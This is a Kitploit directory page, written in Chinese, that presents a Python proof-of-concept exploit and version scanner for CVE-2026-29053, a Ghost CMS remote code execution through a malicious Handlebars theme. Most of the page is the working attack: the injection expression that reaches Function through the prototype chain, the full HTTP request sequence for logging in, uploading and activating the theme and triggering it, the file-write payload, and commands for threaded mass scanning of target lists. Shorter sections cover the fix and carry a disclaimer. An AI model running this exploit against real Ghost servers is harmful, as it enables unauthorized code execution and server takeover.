Skip to content
KitploitKITPLOIT
工具漏洞利用博客
Log in
提交
工具漏洞利用博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-29053 — 针对 CVE-2026-29053 的 Python PoC 和版本扫描器,该漏洞是 Ghost CMS 6.19.1 以下版本中通过恶意 Handlebars 主题模板实现的认证后 RCE。 | Kitploit
工具/GitHubGitHub/k3ystr0k3r/cve-2026-29053
漏洞扫描器漏洞分析漏洞利用Web应用程序漏洞利用Web安全渗透测试远程访问工具Payload 开发
GitHubk3ystr0k3r/cve-2026-29053

CVE-2026-29053

针对 CVE-2026-29053 的 Python PoC 和版本扫描器,该漏洞是 Ghost CMS 6.19.1 以下版本中通过恶意 Handlebars 主题模板实现的认证后 RCE。

查看仓库
1215小时33分前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2026-29053 - Ghost CMS < 6.19.0 - 通过恶意主题实现认证远程代码执行

CVE-2026-29053,影响基于 Node.js 构建的 Ghost 内容管理系统。从 0.7.2 到 6.19.0 的版本均受此问题影响。恶意主题可利用此漏洞在运行 Ghost 的服务器上执行任意代码。此漏洞的严重性为高,CVSS 评分为 7.6。此问题已在 6.19.1 版本中修复。成功利用此漏洞的攻击者可以获得对服务器的未授权访问,并可能完全控制服务器。随后他们可以利用此访问权限操纵数据、窃取敏感信息或执行其他恶意活动。受影响的产品/服务为 Ghost 从 0.7.2 到 6.19.0 的所有版本。为降低此风险,用户应尽快将其 Ghost 安装更新到 6.19.1 或更高版本。这将确保漏洞已被修复,不再构成威胁。如果目前无法进行更新,建议密切关注此漏洞的任何新进展,并采取必要的安全措施以防范潜在攻击。此 CVE 目前未列入 CISA 已知被利用漏洞(KEV)目录,这意味着它尚未被威胁行为者积极利用。但是,用户仍应优先更新其系统,以防止与此漏洞相关的任何潜在风险。

一个针对 CVE-2026-29053 的 Python PoC,该漏洞是 Ghost CMS 中的远程代码执行漏洞,由特制主题在模板渲染期间能够执行任意 JavaScript 引起。

受影响: Ghost 0.7.2 至 6.19.0 已修复: Ghost 6.19.1 CWE: CWE-74 — 下游组件使用的输出中特殊元素的不当中和

Ghost 的公告将此问题描述为通过恶意主题实现任意代码执行。


漏洞是什么?

Ghost 主题使用 Handlebars 模板(.hbs)。

特制的模板可以滥用 Ghost 处理 Handlebars 表达式的方式,访问本不应从普通主题模板触及的 JavaScript 功能。

利用的关键部分是模板表达式:

root@kitploit:~
{{#get "posts" filter="tags:{{page[?( ({__proto__:"".toString})["constructor"](https://github.com/k3ystr0k3r/cve-2026-29053/blob/main/%22%25PAYLOAD%25%22)() )]}}" limit="1"}}
{{/get}}

在恶意主题被打包之前,payload 被插入到模板中。

随后,生成的模板通过 Ghost Admin API 上传并激活。

当 Ghost 随后渲染受影响的模板时,注入的表达式会导致 JavaScript payload 在 Ghost 服务器进程内执行。


该 PoC 直接实现了上述每个阶段。

认证

PoC 首先建立一个已认证的 Ghost Admin 会话。

相关端点为:

root@kitploit:~
POST /ghost/api/admin/session/

PoC 生成的请求等效于:

root@kitploit:~
POST /ghost/api/admin/session/ HTTP/1.1
Host: TARGET
Accept: application/json
Content-Type: application/json
Origin: http://TARGET

{
  "username": "[email protected]",
  "password": "PASSWORD"
}

Ghost 返回已认证的会话 cookie。

PoC 检查 HTTP 201,然后继续使用同一个 requests.Session() 对象。


主题创建

该利用程序创建一个包含最小 Ghost 主题的 ZIP 归档。

重要文件为:

root@kitploit:~
malicious-theme.zip
├── default.hbs
├── index.hbs
├── page-rce.hbs
├── page.hbs
├── post.hbs
└── package.json

恶意模板被写入:

root@kitploit:~
page-rce.hbs

PoC 使用 Python 的 zipfile 模块完全在内存中构建该归档。

生成的 package.json 将该归档标识为 Ghost 主题:

root@kitploit:~
{
  "name": "malicious-theme",
  "description": "Minimal Ghost theme for CVE-2026-29053 authorized lab reproduction",
  "version": "1.0.0",
  "engines": {
    "ghost": ">=5.0.0"
  },
  "license": "MIT"
}

恶意模板

主题中易受攻击的部分是 page-rce.hbs 内的 Handlebars 表达式。

PoC 生成:

root@kitploit:~
{{!< default}}

<main class="lab-page">
  <h1>CVE-2026-29053 trigger</h1>
  <p>This page renders the malicious theme template.</p>
</main>

{{#get "posts" filter="tags:{{page[?( ({__proto__:"".toString})["constructor"](https://github.com/k3ystr0k3r/cve-2026-29053/blob/main/%22%25PAYLOAD%25%22)() )]}}" limit="1"}}
{{/get}}

在主题被压缩之前,payload 被替换到 %PAYLOAD% 中。

Payload

默认 PoC 使用文件写入 payload 作为代码执行的非破坏性证明。

它生成等效于以下内容的 JavaScript:

root@kitploit:~
var fs=process.getBuiltinModule('fs');
fs.writeFileSync(
    '/tmp/cve-2026-29053-rce.txt',
    'CVE-2026-29053 proof: /tmp/cve-2026-29053-rce.txt'
);
return 1

这表明 payload 正在 Ghost Node.js 进程内执行,并且可以访问 Node.js 功能。

PoC 还包含用于实验环境的可选回调模式。


主题上传

一旦恶意主题生成完毕,PoC 将其发送到:

root@kitploit:~
POST /ghost/api/admin/themes/upload/

该请求是一个 multipart 表单上传。

概念上:

root@kitploit:~
POST /ghost/api/admin/themes/upload/ HTTP/1.1
Host: TARGET
Accept: application/json
Origin: http://TARGET
Cookie: ghost-admin-api-session=SESSION

Content-Type: multipart/form-data; boundary=------------------------BOUNDARY

--------------------------BOUNDARY
Content-Disposition: form-data; name="file"; filename="malicious-theme.zip"
Content-Type: application/zip

[ZIP ARCHIVE]
--------------------------BOUNDARY--

该归档包含上述恶意 .hbs 模板。

PoC 期望 HTTP 200,并从 JSON 响应中提取返回的主题名称。


主题激活

上传主题后,PoC 使用以下请求激活它:

root@kitploit:~
PUT /ghost/api/admin/themes/THEME_NAME/activate/ HTTP/1.1
Host: TARGET
Accept: application/json
Origin: http://TARGET
Cookie: ghost-admin-api-session=SESSION

激活端点是动态构造的:

root@kitploit:~
/ghost/api/admin/themes/{theme_name}/activate/

如果 Ghost 未返回 HTTP 200,该利用程序将停止。


触发模板

随后 PoC 创建一个已发布的页面:

root@kitploit:~
POST /ghost/api/admin/pages/ HTTP/1.1
Host: TARGET
Accept: application/json
Content-Type: application/json
Origin: http://TARGET
Cookie: ghost-admin-api-session=SESSION

{
  "pages": [
    {
      "title": "rce",
      "slug": "rce",
      "status": "published",
      "html": "<p>rce</p>"
    }
  ]
}

代码使用 slug:

root@kitploit:~
/rce/

如果页面已存在,它会尝试改为检索现有页面。

最终的触发仅仅是:

root@kitploit:~
GET /rce/ HTTP/1.1
Host: TARGET
Cookie: ghost-admin-api-session=SESSION

这会导致 Ghost 渲染当前激活的主题。

PoC 检查返回的 HTML 中是否包含:

root@kitploit:~
CVE-2026-29053 trigger

以确认 page-rce.hbs 已被渲染。


为什么这会导致 RCE

重要的区别在于,攻击者不仅仅是在页面中注入 HTML。

恶意输入成为 Ghost Handlebars 主题模板的一部分。

该模板随后由 Ghost 的服务端渲染系统解释。

特制的表达式通过原型/构造链触及 JavaScript 功能:

root@kitploit:~
__proto__
   ↓
toString
   ↓
constructor
   ↓
Function(...)
   ↓
attacker-controlled JavaScript

生成的 JavaScript 在 Ghost 服务器进程中执行。

PoC 通过访问 Node 内置的 fs 模块并在服务器上写入文件来演示这一点。


原始请求流程

将 HTTP 交互整合在一起:

root@kitploit:~
1. POST /ghost/api/admin/session/
   └── authenticate

2. POST /ghost/api/admin/themes/upload/
   └── upload malicious-theme.zip

3. PUT /ghost/api/admin/themes/<name>/activate/
   └── activate malicious theme

4. POST /ghost/api/admin/pages/
   └── create /rce/

5. GET /rce/
   └── render malicious page-rce.hbs
       └── Handlebars expression
           └── JavaScript execution
               └── OS-level impact

版本检查

PoC 还包含一个扫描器。

它请求:

root@kitploit:~
GET /ghost/api/admin/site/ HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0

响应被解析以获取:

root@kitploit:~
{
  "site": {
    "version": "6.19.0"
  }
}

随后 PoC 将版本与以下范围进行比较:

root@kitploit:~
0.7.2 <= version <= 6.19.0

并将匹配的版本报告为易受攻击。

已发布的公告将受影响范围指定为 >= 0.7.2, < 6.19.1,其中 6.19.1 为修复版本。


PoC 用法

文件写入证明

root@kitploit:~
python3 exploit.py --target http://TARGET

默认证明路径为:

root@kitploit:~
/tmp/cve-2026-29053-rce.txt

可以通过以下方式更改:

root@kitploit:~
python3 exploit.py --target http://TARGET --proof-path /tmp/test.txt

现有安装

如果 Ghost 设置已经完成:

root@kitploit:~
python3 exploit.py --target http://TARGET --skip-setup

可以使用以下方式提供凭据:

root@kitploit:~
--email
--password

扫描器

可以从文件提供目标:

root@kitploit:~
python3 exploit.py --file targets.txt

线程数:

root@kitploit:~
python3 exploit.py --file targets.txt --threads 25

扫描器检查 Ghost Admin 站点端点,并将报告的 Ghost 版本与易受攻击范围进行比较。


影响

成功利用允许在 Ghost 服务器进程内执行任意 JavaScript。

根据 Ghost 进程的权限和所使用的 payload,这可能影响:

  • 机密性
  • 完整性
  • 可用性

已发布的 CVE 记录将该问题评为网络可达,但需要高权限和用户交互,且作用域已更改。


修复

将 Ghost 升级到:

root@kitploit:~
6.19.1+

Ghost 的漏洞公告将 6.19.1 标识为已修复版本。

不要安装不受信任的主题。


免责声明

此 PoC 仅供漏洞研究、授权渗透测试和教育目的使用。

下载工具